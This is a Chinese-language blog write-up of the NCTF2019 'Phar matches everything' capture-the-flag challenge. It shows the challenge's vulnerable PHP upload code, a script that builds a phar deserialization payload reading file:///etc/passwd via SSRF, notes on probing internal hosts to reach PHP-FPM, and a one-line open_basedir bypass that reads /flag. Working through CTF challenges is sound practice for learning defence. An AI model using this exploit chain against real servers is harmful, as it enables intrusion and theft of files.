文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2020-12-10   823

NCTF2019 Phar matches everything

去年NCTF2019的题目,可以说是考到了PHP大部分的知识点,值得一做。

原题目提示是通过vim的备份文件下载源码,但是BUU上的环境好像没有备份文件,只能从GitHub上下载catchmime.phpupload.php两个文件的源代码,

首先是upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$target_dir = "uploads/";
$uploadOk = 1;

$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));

$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;

$target_file=$target_dir.$file_name;

$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}


if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg" ) {
echo "Sorry, only jpg,png,gif,jpeg are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file $file_name has been uploaded to ./uploads/";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>

单独看这个upload.php使用了白名单限制,只能上传图片后缀的文件,应该要结合其他的功能点一起利用。

再看catchmime.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}

public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}

if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>

这个文件中存在两个和功能不相干的类MainEasytest

getimagesize会触发Phar反序列化,然后在careful参数触发Easy_test类的反序列化,修改test参数为1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Easytest{
protected $test = '1';
}

class Main{
public $url = 'file:///etc/passwd';
}

$a = new Easytest();
echo urlencode(serialize($a));

$b = new Main();
ini_set('phar.readonly','Off');
### POP链构造
@unlink("phar1.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添 加要压缩的文件 //签名自动计算
$phar->stopBuffering();

然后payload打过去

读了一圈文件,没找到flag,又不能执行命令,尝试去读/etc/hosts(或者/etc/net/arp)

读到了一个内网IP地址10.247.100.9。结果BUU上面我试了好几个C段地址之后,10.247.100.11这个地址终于返回了PHP-FPM。

接着就用SSRF打FPM,网上都是用P牛的脚本去构造,

有open_basedir限制,绕过一下:

1
<?php mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>

Copyright © ca01h 2019-2020 | 本站总访问量